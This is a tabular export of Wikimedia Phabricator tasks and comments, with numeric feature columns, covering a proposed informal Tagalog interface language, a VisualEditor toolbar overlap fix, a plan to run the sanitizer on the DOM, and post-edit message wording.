842897,Creation of tl-informal as a new interface language,It might be possible to implement informal variants using LanguageConverter; see T33015#3183625,,,1492196403,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,197,,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.461538461538462,1.0,It might be possible to implement informal variants using LanguageConverter; see T33015#3183625
240017,Creation of tl-informal as a new interface language,"This likely should be discussed *within* the community in order to reach consensus and support, however http://tl.wikipedia.org/wiki/WP:KAPE seems pretty inactive. Is there a better place?",,,1398135439,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,4.366666666666666,0.9666666666666667,"This likely should be discussed *within* the community in order to reach consensus and support, however URL seems pretty inactive. Is there a better place?"
240013,Creation of tl-informal as a new interface language,"**jojit_fb** wrote:

One more thing, why is it the localization project of the Mozilla Tagalog interface has no problems with retaining the technical terms untranslatable?  We can follow their example.",,,1398133896,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,5.0,10.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.325,0.875,"**jojit_fb** wrote:

One more thing, why is it the localization project of the Mozilla Tagalog interface has no problems with retaining the technical terms untranslatable?  We can follow their example."
240007,Creation of tl-informal as a new interface language,"**jojit_fb** wrote:

(In reply to Josh Lim from comment #4)
> (In reply to Joseph Ballesteros from comment #3)
> > As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think
> > it's redundant and I am for only one interface language for Tagalog.  I
> > suggest that this should be discussed first with more editors.
> 
> It is not redundant when language issues are as divisive as they are on the
> Tagalog Wikipedia.  Short of forcing everyone to abide by one standard
> (which will not happen, given persistent conflicts between purists,
> moderates and progressives/universalists) or creating two different
> Wikipedias for Tagalog and Filipino, this is the best solution that can be
> conceived.
> 
> (Also, I posted a discussion on this on both the Tagalog Wikipedia Facebook
> group and the Kapihan months ago.)

We cannot accommodate everyone.  We have to always look at what the majority of readers of the Tagalog Wikimedia projects understand.  They don't understand what is kasaputan, lambat-lambat and what have you. I realize the need to translate the interface after conducting editing workshops across the Philippines.  Most people in the workshops don't understand what is ""lumagda."" They understand the term ""login"" instead. 

I bet that even some purists will laugh at the phrase ""Wala ka pa bang kuwenta?""  Do you even realize that in normal conversation the phrase may be translated as ""Are you still a useless person?"" instead of ""Don't have an account""?  I bet also that those so called purists also speak unpurely in normal conversation.  

I believe it's still redundant and will add another burden to a handful of volunteers just to accommodate the principles of a few people.

Another thing, it's not necessarily informal or Taglish when you use borrowed foreign words in a phrase or sentence.  There are words (especially technical terms) that are really untranslatable.  Forcing the translation will result to lots of misinterpretation just like with the term ""kuwenta.""  Thus, tl-informal is a misnomer and will just add to the confusion.

I haven't seen a discussion in the WP:KAPE (or the Kapihan in the Tagalog Wikipedia) about this.  You are aware that I don't have a Facebook account and if you have posted that in Facebook, I haven't read it.  Instead of Facebook (where not all people who are involved in the projects are there), I recommend that you start a new section at WP:KAPE and discuss this further.  Please don't reply me here.",,,1398132909,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0.75,0.25,0.0,0.5,2.5,3.75,0.75,0.0,0.0,0.25,3.5,1.75,0.0,0.0,0.25,2.75,0.25,8.5,9.75,0.25,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.5,1.0,0.0,7.5,2.0,0.75,2.0,1.75,0.0,0.0,0.5,0.25,0.0,0.5,0.0,2.25,0.0,0.25,0.0,0.0,1.0,10.0,0.5,0.75,0.25,1.25,0.0,0.0,0.25,0.5,0.5,0.0,0.5,2.25,0.25,0.75,0.0,0.25,0.0,6.5,2.5,13.75,2.0,2.0,8.5,0.0,0.0,0.0,0.25,4.75,0.25,0.25,0.0,5.75,9.75,9.0,0.75,3.0,0.0,5.75,0.0,2.0,2.25,0.25,0.5,0.0,0.25,0.0,3.8472995258709544,0.617656153370439,"**jojit_fb** wrote:

(In reply to Josh Lim from comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We cannot accommodate everyone.  We have to always look at what the majority of readers of the Tagalog Wikimedia projects understand.  They don't understand what is kasaputan, lambat-lambat and what have you. I realize the need to translate the interface after conducting editing workshops across the Philippines.  Most people in the workshops don't understand what is ""lumagda."" They understand the term ""login"" instead. 

I bet that even some purists will laugh at the phrase ""Wala ka pa bang kuwenta?""  Do you even realize that in normal conversation the phrase may be translated as ""Are you still a useless person?"" instead of ""Don't have an account""?  I bet also that those so called purists also speak unpurely in normal conversation.  

I believe it's still redundant and will add another burden to a handful of volunteers just to accommodate the principles of a few people.

Another thing, it's not necessarily informal or Taglish when you use borrowed foreign words in a phrase or sentence.  There are words (especially technical terms) that are really untranslatable.  Forcing the translation will result to lots of misinterpretation just like with the term ""kuwenta.""  Thus, tl-informal is a misnomer and will just add to the confusion.

I haven't seen a discussion in the WP:KAPE (or the Kapihan in the Tagalog Wikipedia) about this.  You are aware that I don't have a Facebook account and if you have posted that in Facebook, I haven't read it.  Instead of Facebook (where not all people who are involved in the projects are there), I recommend that you start a new section at WP:KAPE and discuss this further.  Please don't reply me here."
239999,Creation of tl-informal as a new interface language,"**jamesjoshualim** wrote:

(In reply to Joseph Ballesteros from comment #3)
> As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think
> it's redundant and I am for only one interface language for Tagalog.  I
> suggest that this should be discussed first with more editors.

It is not redundant when language issues are as divisive as they are on the Tagalog Wikipedia.  Short of forcing everyone to abide by one standard (which will not happen, given persistent conflicts between purists, moderates and progressives/universalists) or creating two different Wikipedias for Tagalog and Filipino, this is the best solution that can be conceived.

(Also, I posted a discussion on this on both the Tagalog Wikipedia Facebook group and the Kapihan months ago.)",,,1398091189,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0.0,0.5,0.0,1.0,1.0,4.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,7.5,0.5,0.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,1.0,0.5,0.0,2.5,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,1.0,0.0,9.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,4.0,3.0,13.0,0.5,4.5,6.0,0.0,0.0,0.0,0.5,2.0,0.0,2.0,0.0,2.0,7.5,9.5,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,1.5,0.0,1.0,0.0,4.258620689655173,0.7844827586206897,"**jamesjoshualim** wrote:

(In reply to Joseph Ballesteros from comment #3)
QUOTE
QUOTE
QUOTE

It is not redundant when language issues are as divisive as they are on the Tagalog Wikipedia.  Short of forcing everyone to abide by one standard (which will not happen, given persistent conflicts between purists, moderates and progressives/universalists) or creating two different Wikipedias for Tagalog and Filipino, this is the best solution that can be conceived.

(Also, I posted a discussion on this on both the Tagalog Wikipedia Facebook group and the Kapihan months ago.)"
239991,Creation of tl-informal as a new interface language,"**jojit_fb** wrote:

As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think it's redundant and I am for only one interface language for Tagalog.  I suggest that this should be discussed first with more editors.",,,1398073332,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,8.0,0.0,4.0,13.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,15.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,13.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.75,0.75,"**jojit_fb** wrote:

As a veteran editor in the Tagalog Wikipedia, I disagree with this.  I think it's redundant and I am for only one interface language for Tagalog.  I suggest that this should be discussed first with more editors."
239984,Creation of tl-informal as a new interface language,"**jamesjoshualim** wrote:

(In reply to comment #1)
> Is this asking for:
> 
> 1) Creating a new interface language, tl-informal, in TranslateWiki.net
> 2) Creating a new interface language, tl-informal, in MW core
> 3) Creating a new interface language, tl-informal, in production

Just these first three.  For now, we're very undecided on pursuing the fourth option, as we have not yet agreed on having Taglish content on the Tagalog Wikipedia.  For now, we only agreed on having a new interface language, and we will get to the issue of content languages when we get there.",,,1378878251,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,6.0,0.0,10.0,12.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,13.0,1.0,1.0,6.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,6.0,12.0,8.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.5444444444444443,0.6222222222222222,"**jamesjoshualim** wrote:

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Just these first three.  For now, we're very undecided on pursuing the fourth option, as we have not yet agreed on having Taglish content on the Tagalog Wikipedia.  For now, we only agreed on having a new interface language, and we will get to the issue of content languages when we get there."
239977,Creation of tl-informal as a new interface language,"Is this asking for:

1) Creating a new interface language, tl-informal, in TranslateWiki.net
2) Creating a new interface language, tl-informal, in MW core
3) Creating a new interface language, tl-informal, in production
4) Creating a new content language in MW core, adding to tlwiki as a variant
5) Creating a new content language in MW core, adding to a new wiki (tl-inf-wiki)?

I think this is 1, 2, 3 and 4 but not 5.

Note that adding variants to a wiki is do-able but makes for a sucky experience in both editing and creating wikitext, and means that tlwiki wouldn't be possible as a release target for VisualEditor for at least some time whilst we wait for building out support in VisualEditor and Parsoid.",,,1378834373,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tn3a37o3zgibya4bkm32,task_subcomment,,True,c1,3,True,,,10,,0.5,0.0,0.0,0.0,1.0,10.5,1.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,12.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,4.0,2.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,13.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,5.5,2.5,8.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,4.5,0.0,1.0,12.5,5.0,0.5,0.0,0.0,1.0,0.0,0.0,5.5,0.0,6.5,0.0,0.5,1.0,3.5963855421686746,0.5662650602409639,"Is this asking for:

1) Creating a new interface language, tl-informal, in TranslateWiki.net
2) Creating a new interface language, tl-informal, in MW core
3) Creating a new interface language, tl-informal, in production
4) Creating a new content language in MW core, adding to tlwiki as a variant
5) Creating a new content language in MW core, adding to a new wiki (tl-inf-wiki)?

I think this is 1, 2, 3 and 4 but not 5.

Note that adding variants to a wiki is do-able but makes for a sucky experience in both editing and creating wikitext, and means that tlwiki wouldn't be possible as a release target for VisualEditor for at least some time whilst we wait for building out support in VisualEditor and Parsoid."
54955,GettingStarted toolbar overlaps with VE post edit confirmation,"**Author:** `swalling`

**Description:**
Hidden VE postedit confirmation

If you edit successfully via wikitext, we delay loading the GettingStarted toolbar until after the post-edit confirmation disappears. We should do the same for the new style of postedit confirmation from VE.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11351}",Medium,50.0,1376715240,1392361469.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-osskcs5pzqf76ce4lpyj,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,8.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.036144578313253,0.5903614457831325,"**Author:** CODE

**Description:**
Hidden VE postedit confirmation

If you edit successfully via wikitext, we delay loading the GettingStarted toolbar until after the post-edit confirmation disappears. We should do the same for the new style of postedit confirmation from VE.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11351}"
239886,GettingStarted toolbar overlaps with VE post edit confirmation,"Change 112880 merged by jenkins-bot:
Delay showing the task toolbar after VisualEditor edit

https://gerrit.wikimedia.org/r/112880",,,1392360585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.842105263157895,1.0,"Change 112880 merged by jenkins-bot:
Delay showing the task toolbar after VisualEditor edit

GERRIT_URL"
239882,GettingStarted toolbar overlaps with VE post edit confirmation,"Thanks, James.  The change on our side is https://gerrit.wikimedia.org/r/112880.",,,1392263311,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.9230769230769231,"Thanks, James.  The change on our side is GERRIT_URL."
239876,GettingStarted toolbar overlaps with VE post edit confirmation,"The VE patch here has been merged and will be deployed in the train tomorrow (in wmf14); not sure if this achieves the fix desired, so just setting to ""NEW"" instead.",,,1392254220,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,5.0,3.0,3.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5526315789473686,0.9210526315789473,"The VE patch here has been merged and will be deployed in the train tomorrow (in wmf14); not sure if this achieves the fix desired, so just setting to ""NEW"" instead."
239869,GettingStarted toolbar overlaps with VE post edit confirmation,"Change 112880 had a related patch set uploaded by Phuedx:
Delay showing the task toolbar after Visual Editor edit

https://gerrit.wikimedia.org/r/112880",,,1392205844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,26.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 112880 had a related patch set uploaded by Phuedx:
Delay showing the task toolbar after Visual Editor edit

GERRIT_URL"
239863,GettingStarted toolbar overlaps with VE post edit confirmation,"Change 112879 had a related patch set uploaded by Phuedx:
Include edit status in the ve.deactivationComplete event

https://gerrit.wikimedia.org/r/112879",,,1392205631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-osskcs5pzqf76ce4lpyj,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,1.0,"Change 112879 had a related patch set uploaded by Phuedx:
Include edit status in the ve.deactivationComplete event

GERRIT_URL"
54941,Refactor sanitizer to work on the DOM too,"Currently we always serialize to wikitext and re-parse that to HTML, which runs the sanitizer on the token stream to ensure that our final HTML does not cause bad things to happen.

Soon both us and the Flow team want to store HTML from the VisualEditor directly without first serializing to wikitext. This means that we need to perform the sanitization on the HTML instead of the token stream. For performance, sanitizing on the way in would be preferable. We should however support re-sanitization when new issues were discovered. This could potentially be coupled with the versioning discussed in bug 52937. A new sanitizer could bump the version number, and the upgrade path would then run the new sanitizer on old HTML (and probably update the storage with the newly sanitized version).

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1376677680,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-zls4w4oon3y5sp6y4rot,task_description,open,True,c1,3,True,False,,6,,0.0,0.0,0.0,1.0,0.5,6.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.5,1.5,7.5,12.0,0.0,2.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,1.0,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,1.0,12.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,8.0,2.0,8.5,1.5,2.5,10.5,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,2.5,12.0,1.5,0.0,0.0,0.0,2.5,0.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,4.389701663798049,0.6767068273092369,"Currently we always serialize to wikitext and re-parse that to HTML, which runs the sanitizer on the token stream to ensure that our final HTML does not cause bad things to happen.

Soon both us and the Flow team want to store HTML from the VisualEditor directly without first serializing to wikitext. This means that we need to perform the sanitization on the HTML instead of the token stream. For performance, sanitizing on the way in would be preferable. We should however support re-sanitization when new issues were discovered. This could potentially be coupled with the versioning discussed in bug 52937. A new sanitizer could bump the version number, and the upgrade path would then run the new sanitizer on old HTML (and probably update the storage with the newly sanitized version).

--------------------------
**Version**: unspecified
**Severity**: normal"
884756,Refactor sanitizer to work on the DOM too,"Note that tokens are equivalent to SAX events. This suggests the following option for hooking up the current sanitizer to process a DOM:

- Traverse the input DOM, emit SAX events
- feed SAX events through the sanitizer
- feed the resulting tokens / SAX events back to a HTML / XML DOM tree builder",,,1498752154,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-zls4w4oon3y5sp6y4rot,task_subcomment,,True,c1,3,True,,,208,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,20.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,11.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.049180327868853,0.639344262295082,"Note that tokens are equivalent to SAX events. This suggests the following option for hooking up the current sanitizer to process a DOM:

- Traverse the input DOM, emit SAX events
- feed SAX events through the sanitizer
- feed the resulting tokens / SAX events back to a HTML / XML DOM tree builder"
54871,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"**Author:** `swalling`

**Description:**
Screenshot at 1024x768

Very happy to see that VE is now using the same post-edit styling as wikitext! This is a big win for usability, since it is fixed position and so on.

I did find one suboptimal fact though... Since the text of the message includes the page title, it is very variable width, depending on the page title length and the browser width. 

One of the UX goals for this notification is to have new users notice it, but for it to eventually fade out of your attention as you become used to it. Since the page title produces very different widths as you edit different pages, this calls a lot more attention to the notification even if you've edit thousands of times. 

My recommendation would be to match what's in the wikitext version, ""Your edit was saved."" since we A/B tested it and we know it meets the goals I mentioned above. Another good solution is simply removing the page title, so that the VE version says, ""Your changes have been saved."" That seems functionally the same, though I think using edit is good for consistency with the tab names etc.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11185}",Medium,50.0,1376526420,1398987428.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-3fcobyguspmbsv62uzbp,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,1.0,1.0,0.0,6.333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,4.0,11.0,0.0,1.3333333333333333,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.0,1.6666666666666667,2.3333333333333335,0.6666666666666666,2.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,4.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,12.666666666666666,1.0,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,6.0,3.3333333333333335,9.0,3.0,1.3333333333333333,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,1.0,0.0,6.666666666666667,11.0,2.3333333333333335,0.0,1.3333333333333333,0.0,6.666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.0,1.0,3.7728256346233877,0.7014565126924678,"**Author:** CODE

**Description:**
Screenshot at 1024x768

Very happy to see that VE is now using the same post-edit styling as wikitext! This is a big win for usability, since it is fixed position and so on.

I did find one suboptimal fact though... Since the text of the message includes the page title, it is very variable width, depending on the page title length and the browser width. 

One of the UX goals for this notification is to have new users notice it, but for it to eventually fade out of your attention as you become used to it. Since the page title produces very different widths as you edit different pages, this calls a lot more attention to the notification even if you've edit thousands of times. 

My recommendation would be to match what's in the wikitext version, ""Your edit was saved."" since we A/B tested it and we know it meets the goals I mentioned above. Another good solution is simply removing the page title, so that the VE version says, ""Your changes have been saved."" That seems functionally the same, though I think using edit is good for consistency with the tab names etc.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11185}"
235483,VisualEditor: Switch to use MediaWiki's built-in messages for post-edit notifications (and add to them so we cover all three cases),"Change 130968 merged by jenkins-bot:
Switch to use MediaWiki's built-in messages for post-edit notifications

